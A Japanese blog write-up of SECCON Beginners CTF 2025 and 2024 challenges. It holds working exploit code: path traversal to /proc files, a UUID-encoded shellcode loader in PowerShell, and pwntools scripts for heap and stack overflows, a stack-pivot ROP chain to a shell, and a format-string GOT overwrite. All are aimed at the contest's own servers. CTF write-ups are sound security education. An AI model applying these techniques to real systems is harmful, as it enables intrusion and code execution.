SECCON Beginners CTF 2025 Write-up
お久しぶりのCTF。今回は会社のビギナーな方 3人と参加して 86位/3046pt という結果でした。チームメイトはビギナーらしからぬ活躍であれよあれよと問題を解いてくれました。
チーム名:whitecats
Web
skipping (beginner, 737 solve, 100pt)
問題文
/flagへのアクセスは拒否されます。curlなどを用いて工夫してアクセスして下さい。
curl http://skipping.challenges.beginners.seccon.jp:33455
配布されたソースコードの index.js
var express = require("express"); var app = express(); const FLAG = process.env.FLAG; const PORT = process.env.PORT; app.get("/", (req, res, next) => { return res.send('FLAG をどうぞ: <a href="/flag">/flag</a>'); }); const check = (req, res, next) => { if (!req.headers['x-ctf4b-request'] || req.headers['x-ctf4b-request'] !== 'ctf4b') { return res.status(403).send('403 Forbidden'); } next(); } app.get("/flag", check, (req, res, next) => { return res.send(FLAG); }) app.listen(PORT, () => { console.log(`Server is running on port ${PORT}`); });
チェックされている内容をみると、HTTP リクエストのヘッダーに x-ctf4b-request: ctf4b をつければいけそう
$ curl -v http://skipping.challenges.beginners.seccon.jp:33455/flag --header 'x-ctf4b-request: ctf4b'
* Trying 153.125.128.194:33455...
* Connected to skipping.challenges.beginners.seccon.jp (153.125.128.194) port 33455 (#0)
> GET /flag HTTP/1.1
> Host: skipping.challenges.beginners.seccon.jp:33455
> User-Agent: curl/7.81.0
> Accept: */*
> x-ctf4b-request: ctf4b
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.29.0
< Date: Sat, 26 Jul 2025 13:14:42 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 33
< Connection: keep-alive
< X-Powered-By: Express
< ETag: W/"21-yD09GLYnLK7z1sHMWHIMg/8bJ/o"
<
* Connection #0 to host skipping.challenges.beginners.seccon.jp left intact
ctf4b{y0ur_5k1pp1n6_15_v3ry_n1c3}
Flag: ctf4b{y0ur_5k1pp1n6_15_v3ry_n1c3}
log-viewer (easy, 621 solve, 100pt)
ログをウェブブラウザで表示できるアプリケーションを作成しました。 これで定期的に集約してきているログを簡単に確認できます。 秘密の情報も安全にアプリに渡せているはずです...
access.log と debug.log を表示するアプリ。debug.log を表示してみる。

以下の部分でディレクトリトラバーサル LFI が成功してそう(../../proc/self/envion)。
2025/06/21 10:42:24 INFO handlerFunc file="../.env" 2025/06/21 12:42:24 ERROR File not available file=../.env 2025/06/21 12:43:53 INFO handlerFunc file="../../proc/self/envion" 2025/06/21 10:43:59 INFO handlerFunc file=""
実際に試してみると、../../proc/self/envion はアクセス不可で、../../proc/self/environ が正しかった。アクセスして表示された内容(↓)
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=1c1251ffb616TZ=Asia/TokyoHOME=/
debug.log で以下の記載があったので、
2025/06/21 10:40:02 DEBUG Parsed command line arguments flag=ctf4b{this_is_dummy_flag} port=8000
コマンドラインをみてみるとフラグが取れた。
↓ http://log-viewer.challenges.beginners.seccon.jp:9999/?file=../../proc/self/cmdline にアクセスして表示された内容
/usr/local/bin/log-viewer-port=9999-flag=ctf4b{h1dd1ng_1n_cmdl1n3_m4y_b3_r34d4bl3}
Flag: ctf4b{h1dd1ng_1n_cmdl1n3_m4y_b3_r34d4bl3}
Reversing
code_injection (hard, 88 solve, 441pt)
問題文
ある条件のときにフラグが表示されるみたい。
UUID の一覧が記載されたテキスト(sh.txt)とPowershell のスクリプト(ps_z.ps1)が配布ファイル
56525153-4157-4150-5155-4889e54883e4 ec8348f0-6530-8b48-0425-60000000488b <省略> 58415941-5e5f-595a-5bc3-000000000000
ps_z.ps1
add-type '
using System;
using System.Runtime.InteropServices;
[StructLayout( LayoutKind.Sequential )]
public static class Kernel32{
[DllImport( "kernel32.dll" )]
public static extern IntPtr VirtualAlloc( IntPtr address, int size, int AllocType, int protect );
[DllImport( "kernel32.dll" )]
public static extern bool EnumSystemLocalesA( IntPtr buf, uint flags );
}
public static class Rpcrt4{
[DllImport( "rpcrt4.dll" )]
public static extern void UuidFromStringA( string uuid, IntPtr buf );
}';
$workdir = ( Get-Location ).Path;
[System.IO.Directory]::SetCurrentDirectory( $workdir );
$lines = [System.IO.File]::ReadAllLines( ".\sh.txt" );
$buf = [Kernel32]::VirtualAlloc( [IntPtr]::Zero, $lines.Length * 16, 0x1000, 0x40 );
$proc = $buf;
foreach( $line in $lines ){
$tmp = [Rpcrt4]::UuidFromStringA( $line, $buf );
$buf = [IntPtr]( $buf.ToInt64() + 16 )
}
$tmp = [Kernel32]::EnumSystemLocalesA( $proc, 0 );
powershell の内容を見てみるとUUID をデコードして、シェルコードを作成。EnumSystemLocalesA でコードインジェクションしている形?
$proc 変数の内容をダンプして、IDA で逆アセンブルしたもの(↓)
seg000:0000000000000000 seg000 segment byte public 'CODE' use64 seg000:0000000000000000 assume cs:seg000 seg000:0000000000000000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing seg000:0000000000000000 push rbx seg000:0000000000000001 push rcx seg000:0000000000000002 push rdx seg000:0000000000000003 push rsi seg000:0000000000000004 push rdi seg000:0000000000000005 push r8 seg000:0000000000000007 push r9 seg000:0000000000000009 push rbp seg000:000000000000000A mov rbp, rsp seg000:000000000000000D and rsp, 0FFFFFFFFFFFFFFF0h seg000:0000000000000011 sub rsp, 30h seg000:0000000000000015 mov rax, qword ptr gs:loc_60 seg000:000000000000001E mov rax, [rax+20h] seg000:0000000000000022 mov rsi, [rax+80h] seg000:0000000000000029 seg000:0000000000000029 loc_29: ; CODE XREF: seg000:0000000000000064↓j seg000:0000000000000029 cmp dword ptr [rsi], 0 seg000:000000000000002C jz loc_1D9 seg000:0000000000000032 cmp dword ptr [rsi], 540043h seg000:0000000000000038 jnz short loc_60 seg000:000000000000003A cmp dword ptr [rsi+4], 340046h seg000:0000000000000041 jnz short loc_60 seg000:0000000000000043 cmp dword ptr [rsi+8], 3D0042h seg000:000000000000004A jnz short loc_60 seg000:000000000000004C cmp dword ptr [rsi+0Ch], 31h ; '1' seg000:0000000000000050 jnz short loc_60 seg000:0000000000000052 mov rbx, [rsi] seg000:0000000000000055 shl rbx, 8 seg000:0000000000000059 mov [rsp+20h], rbx seg000:000000000000005E jmp short loc_66 seg000:0000000000000060 ; --------------------------------------------------------------------------- seg000:0000000000000060 seg000:0000000000000060 loc_60: ; CODE XREF: seg000:0000000000000038↑j seg000:0000000000000060 ; seg000:0000000000000041↑j ... seg000:0000000000000060 add rsi, 2 seg000:0000000000000064 jmp short loc_29 seg000:0000000000000066 ; --------------------------------------------------------------------------- seg000:0000000000000066 seg000:0000000000000066 loc_66: ; CODE XREF: seg000:000000000000005E↑j seg000:0000000000000066 mov rax, qword ptr gs:loc_60 seg000:000000000000006F mov rax, [rax+18h] seg000:0000000000000073 mov rax, [rax+20h] seg000:0000000000000077 mov rax, [rax] seg000:000000000000007A mov rdi, [rax+50h] seg000:000000000000007E mov rbx, [rdi] seg000:0000000000000081 mov rcx, 20002000200020h seg000:000000000000008B or rbx, rcx seg000:000000000000008E shl rbx, 8 seg000:0000000000000092 xor rbx, [rsp+20h] seg000:0000000000000097 mov rax, [rax] seg000:000000000000009A mov rdi, [rax+50h] seg000:000000000000009E add rbx, [rdi] seg000:00000000000000A1 mov rcx, 20002000200020h seg000:00000000000000AB or rbx, rcx seg000:00000000000000AE mov [rsp+20h], rbx seg000:00000000000000B3 mov rbx, [rax+20h] seg000:00000000000000B7 mov eax, [rbx+3Ch] seg000:00000000000000BA add rax, rbx seg000:00000000000000BD mov edi, [rax+88h] seg000:00000000000000C3 add rdi, rbx seg000:00000000000000C6 mov esi, [rdi+20h] seg000:00000000000000C9 add rsi, rbx seg000:00000000000000CC mov rdx, 2A087D454E564005h seg000:00000000000000D6 mov [rsp+10h], rdx seg000:00000000000000DB xor rcx, rcx seg000:00000000000000DE seg000:00000000000000DE loc_DE: ; CODE XREF: seg000:0000000000000103↓j seg000:00000000000000DE mov edx, [rsi+rcx*4] seg000:00000000000000E1 add rdx, rbx seg000:00000000000000E4 cmp dword ptr [rdx], 53746547h seg000:00000000000000EA jnz short loc_100 seg000:00000000000000EC cmp dword ptr [rdx+4], 61486474h seg000:00000000000000F3 jnz short loc_100 seg000:00000000000000F5 cmp dword ptr [rdx+8], 656C646Eh seg000:00000000000000FC jnz short loc_100 seg000:00000000000000FE jmp short loc_105 seg000:0000000000000100 ; --------------------------------------------------------------------------- seg000:0000000000000100 seg000:0000000000000100 loc_100: ; CODE XREF: seg000:00000000000000EA↑j seg000:0000000000000100 ; seg000:00000000000000F3↑j ... seg000:0000000000000100 inc rcx seg000:0000000000000103 jmp short loc_DE seg000:0000000000000105 ; --------------------------------------------------------------------------- seg000:0000000000000105 seg000:0000000000000105 loc_105: ; CODE XREF: seg000:00000000000000FE↑j seg000:0000000000000105 mov esi, [rdi+24h] seg000:0000000000000108 add rsi, rbx seg000:000000000000010B mov cx, [rsi+rcx*2] seg000:000000000000010F mov esi, [rdi+1Ch] seg000:0000000000000112 add rsi, rbx seg000:0000000000000115 mov eax, [rsi+rcx*4] seg000:0000000000000118 add rax, rbx seg000:000000000000011B mov rdx, 52134041503A405Bh seg000:0000000000000125 mov [rsp+18h], rdx seg000:000000000000012A mov ecx, 0FFFFFFF5h seg000:000000000000012F call rax seg000:0000000000000131 mov r8, rax seg000:0000000000000134 mov rdx, 6B09591014035908h seg000:000000000000013E mov [rsp], rdx seg000:0000000000000142 mov esi, [rdi+20h] seg000:0000000000000145 add rsi, rbx seg000:0000000000000148 xor rcx, rcx seg000:000000000000014B seg000:000000000000014B loc_14B: ; CODE XREF: seg000:0000000000000170↓j seg000:000000000000014B mov edx, [rsi+rcx*4] seg000:000000000000014E add rdx, rbx seg000:0000000000000151 cmp dword ptr [rdx], 74697257h seg000:0000000000000157 jnz short loc_16D seg000:0000000000000159 cmp dword ptr [rdx+4], 6E6F4365h seg000:0000000000000160 jnz short loc_16D seg000:0000000000000162 cmp dword ptr [rdx+8], 656C6F73h seg000:0000000000000169 jnz short loc_16D seg000:000000000000016B jmp short loc_172 seg000:000000000000016D ; --------------------------------------------------------------------------- seg000:000000000000016D seg000:000000000000016D loc_16D: ; CODE XREF: seg000:0000000000000157↑j seg000:000000000000016D ; seg000:0000000000000160↑j ... seg000:000000000000016D inc rcx seg000:0000000000000170 jmp short loc_14B seg000:0000000000000172 ; --------------------------------------------------------------------------- seg000:0000000000000172 seg000:0000000000000172 loc_172: ; CODE XREF: seg000:000000000000016B↑j seg000:0000000000000172 mov esi, [rdi+24h] seg000:0000000000000175 add rsi, rbx seg000:0000000000000178 mov cx, [rsi+rcx*2] seg000:000000000000017C mov rdx, 681C13044E56721Fh seg000:0000000000000186 mov [rsp+8], rdx seg000:000000000000018B mov esi, [rdi+1Ch] seg000:000000000000018E add rsi, rbx seg000:0000000000000191 mov eax, [rsi+rcx*4] seg000:0000000000000194 add rax, rbx seg000:0000000000000197 sub rsp, 30h seg000:000000000000019B lea rdx, [rsp+30h] seg000:00000000000001A0 xor rcx, rcx seg000:00000000000001A3 seg000:00000000000001A3 loc_1A3: ; CODE XREF: seg000:00000000000001B9↓j seg000:00000000000001A3 cmp rcx, 4 seg000:00000000000001A7 jz short loc_1BB seg000:00000000000001A9 mov r9, [rsp+50h] seg000:00000000000001AE xor r9, [rdx+rcx*8] seg000:00000000000001B2 mov [rdx+rcx*8], r9 seg000:00000000000001B6 inc rcx seg000:00000000000001B9 jmp short loc_1A3 seg000:00000000000001BB ; --------------------------------------------------------------------------- seg000:00000000000001BB seg000:00000000000001BB loc_1BB: ; CODE XREF: seg000:00000000000001A7↑j seg000:00000000000001BB mov rcx, r8 seg000:00000000000001BE mov r8, 20h ; ' ' seg000:00000000000001C5 xor r9, r9 seg000:00000000000001C8 mov qword ptr [rsp+20h], 0 seg000:00000000000001D1 call rax seg000:00000000000001D3 add rsp, 30h seg000:00000000000001D7 jmp short $+2 seg000:00000000000001D9 ; --------------------------------------------------------------------------- seg000:00000000000001D9 seg000:00000000000001D9 loc_1D9: ; CODE XREF: seg000:000000000000002C↑j seg000:00000000000001D9 ; seg000:00000000000001D7↑j seg000:00000000000001D9 xor rax, rax seg000:00000000000001DC mov rsp, rbp seg000:00000000000001DF pop rbp seg000:00000000000001E0 pop r9 seg000:00000000000001E2 pop r8 seg000:00000000000001E4 pop rdi seg000:00000000000001E5 pop rsi seg000:00000000000001E6 pop rdx seg000:00000000000001E7 pop rcx seg000:00000000000001E8 pop rbx seg000:00000000000001E9 retn seg000:00000000000001E9 ; --------------------------------------------------------------------------- seg000:00000000000001EA db 0 seg000:00000000000001EB db 0 seg000:00000000000001EC db 0 seg000:00000000000001ED db 0 seg000:00000000000001EE db 0 seg000:00000000000001EF db 0 seg000:00000000000001EF seg000 ends
以下の箇所が CTF4B=1 という値をチェックしている。rsi は PEB の情報なので、環境変数を試しに設定してみる。
seg000:0000000000000015 mov rax, qword ptr gs:loc_60 seg000:000000000000001E mov rax, [rax+20h] seg000:0000000000000022 mov rsi, [rax+80h] seg000:0000000000000029 seg000:0000000000000029 loc_29: ; CODE XREF: seg000:0000000000000064↓j seg000:0000000000000029 cmp dword ptr [rsi], 0 seg000:000000000000002C jz loc_1D9 seg000:0000000000000032 cmp dword ptr [rsi], 540043h ; CT seg000:0000000000000038 jnz short loc_60 seg000:000000000000003A cmp dword ptr [rsi+4], 340046h ; F4 seg000:0000000000000041 jnz short loc_60 seg000:0000000000000043 cmp dword ptr [rsi+8], 3D0042h ; B= seg000:000000000000004A jnz short loc_60 seg000:000000000000004C cmp dword ptr [rsi+0Ch], 31h ; '1' seg000:0000000000000050 jnz short loc_60 seg000:0000000000000052 mov rbx, [rsi]
Powershell で環境変数を設定して、スクリプトを実行してみると、フラグが表示された。
PS > $env:CTF4B="1"
PS > powershell -ExecutionPolicy Bypass -File ps_z.ps1
ctf4b{g3t_3nv1r0nm3n7_fr0m_p3b}
Flag: ctf4b{g3t_3nv1r0nm3n7_fr0m_p3b}
Pwnable
pet_name (beginner, 586 solve, 100pt)
ペットに名前を付けましょう。ちなみにフラグは/home/pwn/flag.txtに書いてあるみたいです。
nc pet-name.challenges.beginners.seccon.jp 9080
配布されたソースコード
int main() { init(); char pet_name[32] = {0}; char path[128] = "/home/pwn/pet_sound.txt"; printf("Your pet name?: "); scanf("%s", pet_name); FILE *fp = fopen(path, "r"); if (fp) { char buf[256] = {0}; if (fgets(buf, sizeof(buf), fp) != NULL) { printf("%s sound: %s\n", pet_name, buf); } else { puts("Failed to read the file."); } fclose(fp); } else { printf("File not found: %s\n", path); } return 0; }
scanf で pet_name 変数に好きなだけデータを書き込めるので、path 変数を書き換えてフラグが書かれているファイルを読み込むようにする。Dockerfile で /home/pwn/flag.txt に配置されている。
$ python -c "print('A'*32, end='');print('/home/pwn/flag.txt')" | nc pet-name.challenges.beginners.seccon.jp 9080
Your pet name?: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/home/pwn/flag.txt sound: ctf4b{3xp1oit_pet_n4me!}
Flag: ctf4b{3xp1oit_pet_n4me!}
pet_sound (easy, 410 solve, 100pt)
ペットに鳴き声を教えましょう。
nc pet-sound.challenges.beginners.seccon.jp 9090
配布されたソースコード
struct Pet; void speak_flag(struct Pet *p); void speak_sound(struct Pet *p); void visualize_heap(struct Pet *a, struct Pet *b); struct Pet { void (*speak)(struct Pet *p); char sound[32]; }; int main() { struct Pet *pet_A, *pet_B; setbuf(stdout, NULL); setbuf(stdin, NULL); puts("--- Pet Hijacking ---"); puts("Your mission: Make Pet speak the secret FLAG!\n"); printf("[hint] The secret action 'speak_flag' is at: %p\n", speak_flag); pet_A = malloc(sizeof(struct Pet)); pet_B = malloc(sizeof(struct Pet)); pet_A->speak = speak_sound; strcpy(pet_A->sound, "wan..."); pet_B->speak = speak_sound; strcpy(pet_B->sound, "wan..."); printf("[*] Pet A is allocated at: %p\n", pet_A); printf("[*] Pet B is allocated at: %p\n", pet_B); puts("\n[Initial Heap State]"); visualize_heap(pet_A, pet_B); printf("\n"); printf("Input a new cry for Pet A > "); read(0, pet_A->sound, 0x32); puts("\n[Heap State After Input]"); visualize_heap(pet_A, pet_B); pet_A->speak(pet_A); pet_B->speak(pet_B); free(pet_A); free(pet_B); return 0; } void speak_flag(struct Pet *p) { char flag[64] = {0}; FILE *f = fopen("flag.txt", "r"); if (f == NULL) { puts("\nPet seems to want to say something, but can't find 'flag.txt'..."); return; } fgets(flag, sizeof(flag), f); fclose(f); flag[strcspn(flag, "\n")] = '\0'; puts("\n**********************************************"); puts("* Pet suddenly starts speaking flag.txt...!? *"); printf("* Pet: \"%s\" *\n", flag); puts("**********************************************"); exit(0); } void speak_sound(struct Pet *p) { printf("Pet says: %s\n", p->sound); } void visualize_heap(struct Pet *a, struct Pet *b) { unsigned long long *ptr = (unsigned long long *)a; puts("\n--- Heap Layout Visualization ---"); for (int i = 0; i < 12; i++, ptr++) { printf("0x%016llx: 0x%016llx", (unsigned long long)ptr, *ptr); if (ptr == (unsigned long long *)&a->speak) printf(" <-- pet_A->speak"); if (ptr == (unsigned long long *)a->sound) printf(" <-- pet_A->sound"); if (ptr == (unsigned long long *)&b->speak) printf(" <-- pet_B->speak (TARGET!)"); if (ptr == (unsigned long long *)b->sound) printf(" <-- pet_B->sound"); puts(""); } puts("---------------------------------"); }
ヒープを表示してくれる関数 visualize_heap にヒントとして TARGET と表示してくれている。構造体の関数ポインタの変数 speak を書き換えて、speak_flag を呼び出すようにすればよさそう。
Pet_A の sound 変数に read したデータを書き込むけれど、32バイトのバッファに対して、0x32 バイトを読み込むので、ヒープ上でオーバーフローする。Pet_A と Pet_B で連続した領域が確保されるので、Pet_B の speak 変数を上書きするようにデータを送る。speak_flag のアドレスは、実行ごとに変わるけれど、プログラムが出力してくれるので、その値を使う。
ソルバー
from pwn import * srv = 'pet-sound.challenges.beginners.seccon.jp' #srv = '127.0.0.1' port = 9090 bin = ELF('./chall') context.binary = bin context.log_level = 'debug' conn = remote(srv, port) data = conn.recvuntil("Input a new cry for Pet A > ") mark = b"'speak_flag' is at: " idx = data.find(mark) speak_flag_addr = data[idx + len(mark): idx + len(mark) + 14] payload = b'A' * 0x28 # buf 埋め payload += p64(int(speak_flag_addr[-12:], 16)) conn.sendline(payload) data = conn.recvall()
Flag: ctf4b{y0u_expl0it_0v3rfl0w!}
pivot4b (medium, 117 solve, 394pt)
スタックはあなたが創り出すものです。
nc pivot4b.challenges.beginners.seccon.jp 12300
stack pivot の問題
void gift_set_first_arg() { asm volatile("pop %rdi"); asm volatile("ret"); } void gift_call_system() { system("echo \"Here's your gift!\""); } int main() { char message[0x30]; printf("Welcome to the pivot game!\n"); printf("Here's the pointer to message: %p\n", message); printf("> "); read(0, message, sizeof(message) + 0x10); printf("Message: %s\n", message); return 0; }
main 関数の message 変数への read が 0x10 バイト多くデータを書き込める(BoF)。ローカル変数は、message だけなので、0x10 分で saved ebp と return アドレスを上書きできる。saved rbp を message 変数のアドレスにして、return アドレスを leave; ret ガジェットに書き換える。これにより、message 変数に stack pivot できて、rop を仕込める。
payload の構成
0x00: pop rdi; ret ガジェットのアドレス(gift_set_first_arg にある) 0x08: pop rdi で仕込む '/bin/sh' へのアドレス(message 変数の後ろの方に置いて、そこのアドレスを渡す) 0x10: system のアドレス(plt 上のアドレス) 0x18: b'/bin/sh\x00' 0x20: AAAA... : 0x30: Saved RBP → messaeg 変数のアドレス - 0x8(※) 0x38: return addr → leave; ret ガジェットのアドレス
(※) leave 命令は、mov rsp, rbp; pop rbp と同等なので、leave; ret ガジェットで pop rbp される無駄なデータ分マイナス 0x8 する。
ソルバー
from pwn import * srv = 'pivot4b.challenges.beginners.seccon.jp' #srv = '127.0.0.1' port = 12300 bin = ELF('./chall') context.binary = bin context.log_level = 'debug' conn = remote(srv, port) data = conn.recvuntil("> ") mark = b"pointer to message: " idx = data.find(mark) idx2 = data.find(b'\n', idx) msg_addr = int(data[idx + len(mark): idx2], 16) # 0000000000401040 <system@plt>: # 401040: ff 25 c2 2f 00 00 jmp QWORD PTR [rip+0x2fc2] # 404008 <system@GLIBC_2.2.5> # 401046: 68 01 00 00 00 push 0x1 # 40104b: e9 d0 ff ff ff jmp 401020 <_init+0x20> # 0x401211: leave ; ret ; (1 found) # # $ objdump -t chall | grep ' F ' # : # 0000000000401176 g F .text 0000000000000009 gift_set_first_arg system_addr = 0x401040 binsh_addr = msg_addr + (0x8 * 3) ropchain = b'' ropchain += p64(bin.symbols['gift_set_first_arg'] + 4) # pop rdi; ret; ropchain += p64(binsh_addr) # rdi ropchain += p64(system_addr) ropchain += b'/bin/sh\x00' payload = ropchain payload += b'A' * (0x30 - len(ropchain)) payload += p64(msg_addr - 8) # Saved RBP 書き換え → msg payload += p64(0x401211) # return addr conn.sendline(payload) data = conn.recvuntil(b'Message:') conn.interactive()

Flag: ctf4b{7h3_57ack_c4n_b3_wh3r3v3r_y0u_l1k3}
以上です!今年も楽しませて頂きました。開催ありがとうございました!!
SECCON Beginners CTF 2024 Write-up
久しぶりに時間を取れたので2年ぶりに参加しました。hamayanhamayan と2人で参加して 20位/1613pt という結果でした。hamayanhamayan は、Web問全完!!
チーム名:whitecats
チームメイトの Write-up:SECCON Beginners CTF 2024 Writeups - はまやんはまやんはまやん
Pwnable
simpleoverflow
Cでは、0がFalse、それ以外がTrueとして扱われます。
nc simpleoverflow.beginners.seccon.games 9000
simpleoverflow.tar.gz 02d827ce1b22d3bb285f93d6981e537f34c49e32
Dockerfile と compose.yaml が提供されるので、実行した際の動きは↓のような感じ
$ docker-compose up -d $ docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 0acba4ab2b99 simpleoverflow-overflow "/jail/run" 16 minutes ago Up 3 seconds 0.0.0.0:9000->5000/tcp simpleoverflow-overflow-1 $ nc 127.0.0.1 9000 name:seccon Hello, seccon You are not admin. bye
ソースファイルを確認
int main() { char buf[10] = {0}; int is_admin = 0; printf("name:"); read(0, buf, 0x10); printf("Hello, %s\n", buf); if (!is_admin) { puts("You are not admin. bye"); } else { system("/bin/cat ./flag.txt"); } return 0; }
10 bytes の buf 変数に対して、read は 0x16 bytes まで受け付けるので、バッファオーバーフローする。オーバーフローすると if 文でフラグとして利用している is_admin 変数を上書きしてしまう。is_admin の値が 0 以外になれば、OK なので、適当な文字列を 11文字書き込めばOKそう。
試した結果
nc simpleoverflow.beginners.seccon.games 9000
name:aaaaaaaaaaaaaaaa
Hello, aaaaaaaaaaaaaaaaW4�
ctf4b{0n_y0ur_m4rk}
Flag: ctf4b{0n_y0ur_m4rk}
simpleoverwrite
スタックとリターンアドレスを確認しましょう
nc simpleoverwrite.beginners.seccon.games 9001
simpleoverwrite.tar.gz 98f8e4f182185e9ed40e195c1921561eba79494b
void win() { char buf[100]; FILE *f = fopen("./flag.txt", "r"); fgets(buf, 100, f); puts(buf); } int main() { char buf[10] = {0}; printf("input:"); read(0, buf, 0x20); printf("Hello, %s\n", buf); printf("return to: 0x%lx\n", *(uint64_t *)(((void *)buf) + 18)); return 0; }
buf[10] に対して read で最大 32バイト読み込むのでスタックバッファオーバーフローする。
gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
CANARY は無効なので、シンプルにバッファオーバーフローでリターンアドレスをオーバライトする
from pwn import * srv = 'simpleoverwrite.beginners.seccon.games' #srv = '127.0.0.1' port = 9001 bin = ELF('./chall') conn = remote(srv, port) payload = b'A' * 10 payload += b'B' * 8 addr_win = 0x401186 payload += p64(addr_win) conn.sendline(payload) output = conn.recvrepeat(5000) print(output)
Flag: ctf4b{B3l13v3_4g41n}
pure-and-easy
nc pure-and-easy.beginners.seccon.games 9000
pure-and-easy.tar.gz 014306641136ca8c1f9af367d68a1f5ee2f2c083
問題のソース。read して buf をそのまま printf しているので Format String Bug がある。
int main() {
char buf[0x100] = {0};
printf("> ");
read(0, buf, 0xff);
printf(buf);
exit(0);
}
void win() {
char buf[0x50];
FILE *fp = fopen("./flag.txt", "r");
fgets(buf, 0x50, fp);
puts(buf);
}
RELRO もなかったので、GOT を書き換えられる。main 関数はリターンせずに exit を呼び出しているので、exit のGOTアドレスを win関数に書き換える。
ソルバー
from pwn import * srv = 'pure-and-easy.beginners.seccon.games' #srv = '127.0.0.1' port = 9000 bin = ELF('./chall') ''' $ checksec chall Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) ''' conn = remote(srv, port) addr_main = 0x4011a6 addr_win = 0x401341 addr_exit_got = bin.got['exit'] addr_bss = 0x404060 print('{:02x}'.format(addr_exit_got)) ''' $ readelf -r chall Relocation section '.rela.dyn' at offset 0x610 contains 4 entries: Offset Info Type Sym. Value Sym. Name + Addend 000000403fd8 000100000006 R_X86_64_GLOB_DAT 0000000000000000 __libc_start_main@GLIBC_2.34 + 0 000000403fe0 000800000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0 000000404060 000c00000005 R_X86_64_COPY 0000000000404060 stdout@GLIBC_2.2.5 + 0 000000404070 000d00000005 R_X86_64_COPY 0000000000404070 stdin@GLIBC_2.2.5 + 0 Relocation section '.rela.plt' at offset 0x670 contains 9 entries: Offset Info Type Sym. Value Sym. Name + Addend 000000404000 000200000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0 000000404008 000300000007 R_X86_64_JUMP_SLO 0000000000000000 __stack_chk_fail@GLIBC_2.4 + 0 000000404010 000400000007 R_X86_64_JUMP_SLO 0000000000000000 printf@GLIBC_2.2.5 + 0 000000404018 000500000007 R_X86_64_JUMP_SLO 0000000000000000 alarm@GLIBC_2.2.5 + 0 000000404020 000600000007 R_X86_64_JUMP_SLO 0000000000000000 read@GLIBC_2.2.5 + 0 000000404028 000700000007 R_X86_64_JUMP_SLO 0000000000000000 fgets@GLIBC_2.2.5 + 0 000000404030 000900000007 R_X86_64_JUMP_SLO 0000000000000000 setvbuf@GLIBC_2.2.5 + 0 000000404038 000a00000007 R_X86_64_JUMP_SLO 0000000000000000 fopen@GLIBC_2.2.5 + 0 000000404040 000b00000007 R_X86_64_JUMP_SLO 0000000000000000 exit@GLIBC_2.2.5 + 0 ''' # GOT overwrite # 下位2バイトを書き換え win0 = addr_win & 0xff win1 = (addr_win & 0xff00) >> 8 print(hex(win0), hex(win1)) ow0 = win0 ow1 = 0x100 - ow0 + win1 print(hex(ow0), hex(ow1), hex(ow0+ow1)) # format string bug # offset: %6hhn~ payload = f'%{ow0}c%9$hhn'.encode('utf8') payload += f'%{ow1}c%10$hhn'.encode('utf8') payload += b'Z' * (8 - len(payload) % 8) payload += p64(addr_exit_got) payload += p64(addr_exit_got + 1) conn.sendline(payload) print('send:', payload) output = conn.recvuntil(b'> ') print('recv:', output) output = conn.recvrepeat(5000) print('recv', output)
実行結果
$ python3 solve.py
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to pure-and-easy.beginners.seccon.games on port 9000: Done
404040
0x41 0x13
0x41 0xd2 0x113
send: b'%65c%9$hhn%210c%10$hhnZZ@@@\x00\x00\x00\x00\x00A@@\x00\x00\x00\x00\x00'
recv: b'> '
recv b' \x90 \xffZZ@@@ctf4b{Y0u_R34lly_G0T_M3}\n\nctf4b{Y0u_R34lly_G0T_M3}\n\n'
Flag: ctf4b{Y0u_R34lly_G0T_M3}
Misc
getRank
https://getrank.beginners.seccon.games
getRank.tar.gz ac08b24f889e041a5c93491ba2677f219b502f16
数字を当てるゲームで、スコアが1位になるとフラグを貰える
サーバ側のソース
const RANKING = [10 ** 255, 1000, 100, 10, 1, 0]; : function chall(input: string): Res { if (input.length > 300) { return { rank: -1, message: "Input too long", }; } let score = parseInt(input); if (isNaN(score)) { return { rank: -1, message: "Invalid score", }; } if (score > 10 ** 255) { // hmm...your score is too big? // you need a handicap! for (let i = 0; i < 100; i++) { score = Math.floor(score / 10); } } return ranking(score); }
10進数で送れる 10 ** 255 以上の値を投げても 100回 10で割られる。isNaN のチェックは 16進数でもOKなので、16進数で最大投げられるものを送れば、フラグがきた
import httpx url = 'https://getrank.beginners.seccon.games/' data = {'input': '0x' + 'f' * 298} print(data) r = httpx.post(url, json=data) print(r.text)
$ python3 solve.py
{'input': '0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'}
{"rank":1,"message":"ctf4b{15_my_5c0r3_700000_b1g?}"}
Flag: ctf4b{15_my_5c0r3_700000_b1g?}
clamre
アンチウィルスのシグネチャを読んだことはありますか?
※サーバにアクセスしなくても解けます
https://clamre.beginners.seccon.games
clamre.tar.gz 445052853290b4cf3cc39ff0a36dca0cc6747f1c
ClamAV のオリジナルシグネチャっぽい。シグネチャを正規表現で書いているっぽい
ClamoraFlag;Engine:81-255,Target:0;1;63746634;0/^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)\})$/
最後の正規表現にマッチする文字列を作ればOK。フラグになるっぽい。 (abc) のようにカッコでまとめられているのは、グループとして扱われ、\3 や \7 で再利用できるらしい。全体が () で囲まれているので、中の正規表現は グループ2 から数えるのに注意。(\x63\x74\x66) がグループ2 になる。
Flag: ctf4b{Br34k1ng_4ll_Th3_H0u53_Rul35}
Rev
assemble
